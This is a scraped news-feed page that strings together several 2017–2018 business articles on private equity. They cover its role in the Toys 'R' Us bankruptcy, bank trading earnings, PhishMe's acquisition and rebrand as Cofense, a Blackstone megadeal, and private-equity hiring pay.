Toys “R” Us is hardly the only retail operation to learn this lesson the hard way. The so-called retail apocalypse felled roughly 7,000 stores and eliminated more than 50,000 jobs in 2017. For the spate of brands that have recently declared bankruptcy, their demise is as much a story about private equity’s avarice as it is about Amazon’s acumen.

In April 2017, an analysis by Newsday found that of the 43 large retail or supermarket companies that had filed for bankruptcy since the start of 2015, more than 40 percent were owned by private-equity firms. Since that analysis, a number of others have joined the list, including Nine West, Claire’s, and Gymboree. An analysis by the firm FTI Consulting found that two-thirds of the retailers that filed for Chapter 11 in 2016 and 2017 were backed by private equity.

“Had these companies remained publicly owned,” Paulson said, “they would have had a much higher probability of being able to adapt, to invest, and to withstand” the ups and downs of the economy.

A private-equity takeover is akin to a family’s buying a house: A firm contributes what is essentially a down payment using its own funds and then finances the rest with debt. But in the case of a buyout, the firm doesn’t have to pay back the mortgage; instead, the company it bought assumes the debt.

Private-equity firms enjoy the misperception that they swoop in and save struggling companies from the verge of ruin. They’ve long held the promise of benefiting these companies through close monitoring—and debt, the theory goes, should impose discipline on managers. That’s the model followed by a few specialty firms, but it is far more common for private-equity firms to seek moderately successful targets where they see an opportunity to increase profit margins. After a few years of slimming costs and boosting revenues, the goal is to off-load the company, by either helping it go public or selling it.

In some instances, private-equity firms lend know-how that allows a company to operate more efficiently or expand beyond a small niche. “There’s a role for private equity in certain industries that are experiencing disruption,” Angela Kapp, an investor who sits on the boards of private-equity-owned companies, told me. One of the more celebrated retail buyouts was KKR’s acquisition of Dollar General, in 2007. After bringing in a new management team that made changes such as upgrading the quality of the company’s products and tailoring them to its customer base, the firm helped it go public. It now has the most stores of any U.S. retail chain. Firms “bring resources and capabilities and [have] seen the movie before,” Kapp said.

But that doesn’t mean the movie always has a happy ending. “I don’t even know if there are that many success cases in retail,” Sucharita Kodali, an analyst at the market-research company Forrester, told me. She allowed that Toys “R” Us was hardly in great shape before its acquisition, but says the buyout only made things worse. “I think it probably hastened their death,” she said. Even Dollar General’s success, she argued, had a lot to do with timing and the particular corner of retail it occupies—the recession pushed consumers toward its discount stores.

Given private equity’s poor track record in retail, it can be difficult to see what companies like Toys “R” Us hope to get from a buyout. For private equity, however, the appeal is clear: The deals are virtually all upside, and carry minimal risk. Many private-equity firms chip in only about 1 to 2 percent of the equity needed for a leveraged buyout, and skim fees and interest throughout the deal. If things go well, the firms take a huge cut of the profit when they exit. If everything blows up, they usually still escape with nary a burn. Toys “R” Us was still paying interest on loans it got from KKR and Bain up until 2016, as well as millions a year in “advisory fees” for unspecified services rendered. According to one estimate, the money KKR and Bain partners earned from those fees more than covered the firms’ losses in the deal.

Private equity can stack the deck in other ways, too. Firms can direct businesses they own to buy other companies and then act as broker on the deals, reaping transaction fees. After its buyout, Toys “R” Us acquired a number of companies, including FAO Schwarz, eToys.com, and assets from KB Toys (itself a failed reclamation project of Bain’s). Consolidating brick-and-mortar and online toy businesses may have been a good-faith strategy. What’s certain is that the deals helped generate $ 128 million in transaction fees for the owners.

So far, private equity’s string of failures in retail hasn’t caught up with it. Pension funds and institutional investors keep coming back to the promise of a 12 percent (or greater) return on investment, well above what’s offered by bonds or even public companies. But creditors and vendors left holding the bag when retailers go out of business don’t have much recourse.

One success story: Private-equity firms helped buy out the retailer Mervyn’s in 2004, loading it up with $ 800 million in debt and spinning off its real-estate holdings. The company went bankrupt in 2008 and liquidated its stores, yet according to bankruptcy-court filings, its owners pocketed $ 200 million in fees and dividends from 2004 to 2006. Vendors such as Levi Strauss, which had sold clothes to the retailer and wanted to be paid for its goods, sued the private-equity owners. They secured a $ 166 million settlement, arguing that the owners had played a role in driving Mervyn’s into bankruptcy. (The owners did not admit any wrongdoing.)

In other countries where private equity has a meaningful presence in the market, it operates with more restrictions. Germany and Denmark guarantee that most workers receive severance, making it far costlier for a private-equity firm to seek layoffs to increase profit margins. In the U.S., labor campaigns have successfully pushed a number of retailers to pay more, offer better benefits, and improve their scheduling practices. But the sector’s instability is throwing these gains into question, and some reformers would like to see even more radical change. A conglomeration of workers’-rights and financial-reform organizations is seeking to outlaw leveraged buyouts altogether. “They weren’t always legal,” Charles Khan of the Strong Economy for All Coalition, which is part of the group, points out. Before the 1980s, companies couldn’t finance deals with such high levels of debt. One aim of Khan and his allies is to once again force buyouts to rely on a smaller portion of debt. “The economy has existed long before private equity,” he says. “I think it can exist without private equity.”

Political solutions, even more-modest ones, could be a tough sell in Congress. Private-equity firms shower a lot of money on Republicans and Democrats alike. They’ve also made the most of the revolving door between the public and the private sectors: Barack Obama’s Treasury secretary Tim Geithner is now the president of the private-equity firm Warburg Pincus; Donald Trump’s commerce secretary, Wilbur Ross, founded a private-equity firm in 2000.

While their demands may prove overly ambitious, reformers are clear-eyed about what will happen without a change of some kind. Retail companies face billions of dollars in debt coming due in the next five years, much of it thanks to leveraged buyouts. More bankruptcies are on the way.

Toys “R” Us workers are making the case for severance pay directly to lawmakers. In early May, Ann Marie Reinhart and other former employees met with Senator Bernie Sanders and Representative Keith Ellison. Next, they’ll take their demands to KKR, Bain, and Vornado. “We’ve given blood, sweat, and tears to this company,” Reinhart told me. “So to walk away with nothing, it’s just humiliating.”

In the meantime, Reinhart is looking for work. She hopes she won’t have to take another job in retail. “I could not go through this again,” she said.

This article appears in the July/August 2018 print edition with the headline “You Buy It, You Break It.”

]]> https://briefnews.eu/how-private-equity-helped-kill-toys-r-us/feed/ 0 Wall Street’s celebrating a boom in equity trading (JPM, C) https://briefnews.eu/wall-streets-celebrating-a-boom-in-equity-trading-jpm-c/ https://briefnews.eu/wall-streets-celebrating-a-boom-in-equity-trading-jpm-c/#respond Fri, 13 Apr 2018 13:12:54 +0000 http://briefnews.eu/wall-streets-celebrating-a-boom-in-equity-trading-jpm-c/ terry crewsREUTERS/Brendan McDermid

  • JPMorgan and Citigroup both announced first quarter earnings on Friday, with both beating solidly.
  • Both had bumper first quarters in equity trading, with JPMorgan posting a record quarter for the business.

Wall Street’s celebrating a bumper quarter in equity trading. 

JPMorgan and Citigroup both announced first quarter earnings on Friday, with both beating solidly. Both banks also posted gains in market revenues, with JPMorgan’s markets revenues up 7% on an underlying basis, and Citigroup’s total markets and securities securities revenues up 3%.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/wall-streets-celebrating-a-boom-in-equity-trading-jpm-c/feed/ 0 Cybersecurity startup PhishMe acquired for $400 million by private equity consortium and rebranded as Cofense https://briefnews.eu/cybersecurity-startup-phishme-acquired-for-400-million-by-private-equity-consortium-and-rebranded-as-cofense/ https://briefnews.eu/cybersecurity-startup-phishme-acquired-for-400-million-by-private-equity-consortium-and-rebranded-as-cofense/#respond Mon, 26 Feb 2018 13:05:00 +0000 http://briefnews.eu/cybersecurity-startup-phishme-acquired-for-400-million-by-private-equity-consortium-and-rebranded-as-cofense/

Cybersecurity startup PhishMe has been acquired by an undisclosed syndicate of private equity firms and rebranded as Cofense, with the company stating that the deal valued it at around $ 400 million.

Leesburg, Virginia-based PhishMe provides tools for employees to recognize malicious phishing emails. This partly involves conditioning staff into being able to identify rogue emails, for example, while also allowing them to report suspicious emails to their internal security teams. Spear phishing is a technique used to fool people into providing sensitive data in response to a request made from a fake email address that resembles a real email address from someone else at the target company.

PhishMe had raised nearly $ 60 million outside funding, the biggest chunk of which arrived via its series C round back in 2016.

The rebrand, it seems, stems from PhishMe’s expansion into providing a more “collective, complete phishing defense” beyond that of anti-phishing awareness. So it wants to mark this shape-shift with a new name and huge pot of cash to fuel its growth. “With our new name and branding, we’re ready to blow things out,” noted company cofounder Aaron Higbee in a blog post. “We’ve moving in this direction for years, with solutions that accelerate incident response, fueled by employee-sourced phishing-attack intelligence.”

A $ 400 million exit seems like a decent outcome for a company that had raised $ 60 million, and now it will be better positioned financially to meet the growing demand for cybersecurity across numerous industries.

“The strategic vision is growing while financial pressure is shrinking,” added Higbee.

The cybersecurity market is on course to become a $ 165 billion industry by 2023, though reports indicate there will be a huge workforce shortfall in the coming years. Big technology companies have been investing heavily in cybersecurity, with acquisitions playing a pivotal role in their growth — Amazon snapped up Sqrrl a few weeks ago, while Microsoft has made a number of cybersecurity acquisitions over the past few years.

]]> https://briefnews.eu/cybersecurity-startup-phishme-acquired-for-400-million-by-private-equity-consortium-and-rebranded-as-cofense/feed/ 0 A big Blackstone deal shows how private equity has changed https://briefnews.eu/a-big-blackstone-deal-shows-how-private-equity-has-changed/ https://briefnews.eu/a-big-blackstone-deal-shows-how-private-equity-has-changed/#respond Fri, 02 Feb 2018 01:11:34 +0000 http://briefnews.eu/a-big-blackstone-deal-shows-how-private-equity-has-changed/ THE financial crisis a decade ago brought the glory days of private equity to a screeching halt. The debt-fuelled megadeals on which the industry had built its fame (or notoriety) seemed over. But on January 30th a group of investors led by Blackstone, the world’s largest private-equity firm, announced a $ 17bn deal to carve out Thomson Reuters’ financial and risk business (F&R), a financial-data provider. The deal would be Blackstone’s largest since the crisis. But if the megadeal is making a comeback, it is in a new guise.

In the mid-2000s, huge transactions abounded. Deals from 2006 and 2007 alone account for nine of the ten largest ever. But, looking purely at value, the only true drought in big deals was from 2008-12. Every year since 2013 has seen at least one buy-out of more than $ 10bn, according to the private-equity database of Thomson Reuters F&R itself.

But in many of these deals private-equity firms have taken the unfamiliar role of companions to corporate acquirers. In a $ 23.5bn deal in 2013 to acquire Heinz, Berkshire Hathaway, a conglomerate, split ownership equally with 3G Capital, a Brazilian private-equity firm. Even private-equity led acquisitions are today much more likely to involve institutional investors or corporations, rather than other private-equity firms. The consortium that Bain Capital cobbled together last year to…

]]> https://briefnews.eu/a-big-blackstone-deal-shows-how-private-equity-has-changed/feed/ 0 Who Bankrupted Toys ‘R’ Us? Blame Private Equity and Millennial Parents https://briefnews.eu/who-bankrupted-toys-r-us-blame-private-equity-and-millennial-parents/ https://briefnews.eu/who-bankrupted-toys-r-us-blame-private-equity-and-millennial-parents/#respond Wed, 24 Jan 2018 23:14:26 +0000 http://briefnews.eu/who-bankrupted-toys-r-us-blame-private-equity-and-millennial-parents/ Toys “R” Us announced on Wednesday that it will close about 180 stores in the U.S., or about one-fifth of its domestic locations, as the company emerges from bankruptcy proceedings to restructure $ 5 billion in debt.

On one level, this is just the latest chapter in the never-ending saga of brick-and-mortar calamity as the retail industry focuses more on online sales. The first half of 2017 was among the worst periods for retail stores on record, and the pain isn’t nearly over. In the last four months, Sears and Kmart have announced 63 imminent store closings (after shuttering 350 locations in 2017), Gap announced plans to close 200 locations in the next three years, and Walmart announced that it would close 63 Sam’s Club stores and lay off thousands of workers.

But while Toys “R” Us has suffered from some predictable brick-and-mortar burdens, its story is a complicated one that touches on family economics, modern leisure, and private-equity mismanagement. There are the three main culprits of the sad demise of America’s erstwhile titan of toys.

1. It’s the e-retailers.

This story begins—as all modern retail stories must—with Amazon. The “everything store” sells toys now—billions of dollars of toys, in fact. Between 2015 and 2017, Amazon toy sales grew 24 percent, to $ 4 billion. Toys “R” Us, whose revenue declined in those years by a similar sum, simply doesn’t have the same facility with digital shoppers. Last June, the company’s CEO criticized the store’s own website, including its kludgy baby-gift registry tool, acknowledging that the store had simply fallen behind contemporary shopping habits.

Failing to build an online presence is bad for any retailer, but it’s particularly deleterious for one whose core demographic includes parents short on time and cash. As my colleague Rebecca Rosen wrote last year, most households don’t have a stay-at-home parent anymore, which makes shopping excursions a luxury many families cannot afford. So more moms and dads are skipping the car trips and buying toys from a website they can trust.

2. It’s the debt, too.

It’s a mistake to consider Toys “R” Us nothing more than Sears, but for kids. Yes, the store was clearly hurt by the rise of Amazon and other large retailers; Walmart actually overtook it as the nation’s largest toy retailer all the way back in 1998.

But its collapse has been especially acute, due to terrible mismanagement by private-equity firms. After Toys “R” Us was taken private by KKR, Bain, and Vornado in 2005, it took on a lot of debt, leaving the company with repayments that have crippled it in a period of declining sales. Toys “R” Us has spent more than $ 250 million annually to pay back $ 5 billion in long-term debt. These repayments became unsustainable once revenue started to decline consistently, as it has each year since 2012. That left one option: for the company to declare bankruptcy and renegotiate the terms of its debt.

3. Blame the kids and their screens.

It would be satisfying to exclusively blame private-equity sharks and retail conglomerates for the fall of Toys “R” Us. But there’s another group that deserves consideration as a culprit: Kids.

Today’s teenagers and children have been shaped by smartphones, social-media apps, and living-room bingeing, as the psychologist Jean Twenge wrote in The Atlantic last year. This has coincided with a sharp rise in teen depression and suicide. Less gravely, it’s also depleted the marketplace for hardware toys. In the last year, Lego, Mattel, and Hasbro have all reported declining sales for key brands (like American Girl or Star Wars merchandise). Maybe tactile trinkets have simply lost their luster among kids.

Or maybe kids don’t even know which toys are out there. Last year, The Wall Street Journal reported that with Millennials watching far less cable television than they used to, young parents and their children simply aren’t seeing the commercials that toy makers rely on to market new products. As a result, much of Toys “R” Us’s merchandise is doubly cursed—kids can’t play with it on their screens, and parents won’t find out about it on their screens.

While bankruptcy might seem like corporate death, the truth is that Toys “R” Us is far from defunct. With $ 11.5 billion in 2017 sales, its toy business is still more than twice as big as Amazon’s. But in the last decade, it has faced a brutal set of economic and technological forces that has left it heavy in debt and light in new customers. Along with every other struggling brick-and-mortar company today, the scariest question is this: If Toys “R” Us can’t cut it with 4 percent unemployment nine years into a recovery, what happens when the recession comes?

]]> https://briefnews.eu/who-bankrupted-toys-r-us-blame-private-equity-and-millennial-parents/feed/ 0 A top private equity recruiter explains why there’s a ‘perfect storm’ for hiring right now https://briefnews.eu/a-top-private-equity-recruiter-explains-why-theres-a-perfect-storm-for-hiring-right-now/ https://briefnews.eu/a-top-private-equity-recruiter-explains-why-theres-a-perfect-storm-for-hiring-right-now/#respond Mon, 11 Dec 2017 15:52:23 +0000 http://briefnews.eu/a-top-private-equity-recruiter-explains-why-theres-a-perfect-storm-for-hiring-right-now/ A line of severe storms cross the Mississippi RiverAP Photo/Lance Murphey

  • Fundraising and “dry powder” in the private-equity industry is booming.
  • This “perfect storm” has stoked demand for talent and increased compensation for junior-level employees, according to top recruitment firm Heidrick & Struggles.
  • Senior talent is as coveted as ever, but money is less of a concern and they’re harder to lure away.

Compensation is surging at private-equity firms, especially for junior-level employees, thanks to a “perfect storm” in the industry that’s fueling competition for talent, according to top Wall Street headhunting firm Heidrick & Struggles. 

The firm recently released its “2017 North American Private Equity Investment Professional Compensation Survey,” compiling compensation data from more than 600 private-equity professionals.

Fifty-four percent of respondents reported their base salary increasing from 2016 to 2017, consistent with last year’s survey figures. Associates and senior associates saw the largest increase, with salaries growing 14% to $ 125,000, followed by vice presidents with a 13% increase to $ 198,000, according to the survey. 

“That’s a reflection of the fact that fundraising has been so strong. There’s so much capital pouring into private equity right now, to a certain extent away from real estate and away from hedge funds,” Jonathan Goldstein, a partner at Heidrick & Struggles who heads their private equity practice in the Americas, told Business Insider. “The allocation to alternatives is growing, because you have so many pension funds with underfunded commitments, so everybody is looking for yield.”

Fundraising boomed in the first half of the year, with investors committing $ 113 billion to 117 US funds, according to Heidrick’s report. Dry powder stands at a staggering $ 545 billion. 

Deal-making and exits were also robust, with $ 300 billion across 1,770 completed deals, according to the report.

The influx of money to private equity and record-sized funds has created more opportunities and thus more demand for young talent. 

“This creates a perfect storm for increased hiring,” Goldstein added.

Salaries for principals increased 6% to $ 250,000, while managing directors and managing partners saw no increase. Of course, most of the compensation at these levels comes not from salary but rather from bonus and carried interest — a slice of the profits a fund generates. 

That data isn’t yet available for 2017. 

Senior private-equity talent is as coveted as ever, but the opportunities at the top are fewer and the industry’s strength has made it more difficult to lure away the best talent, according to Goldstein. 

Robust fundraising and performance has made already well-compensated managers “stickier,” and Heidrick, which focuses on hiring at the VP level or higher, reports having to reach out to two to three times as many prospective candidates as in recent years to fill positions. 

Money isn’t as much a draw at this point as a bigger platform or more influence. 

“To move requires an extraordinary opportunity,” Goldstein said. “Candidates don’t look to move from one firm or another for a slight uptick in comp.”

NOW WATCH: The CIO of a crypto hedge fund reveals why you should be cautious of the ICO bubble

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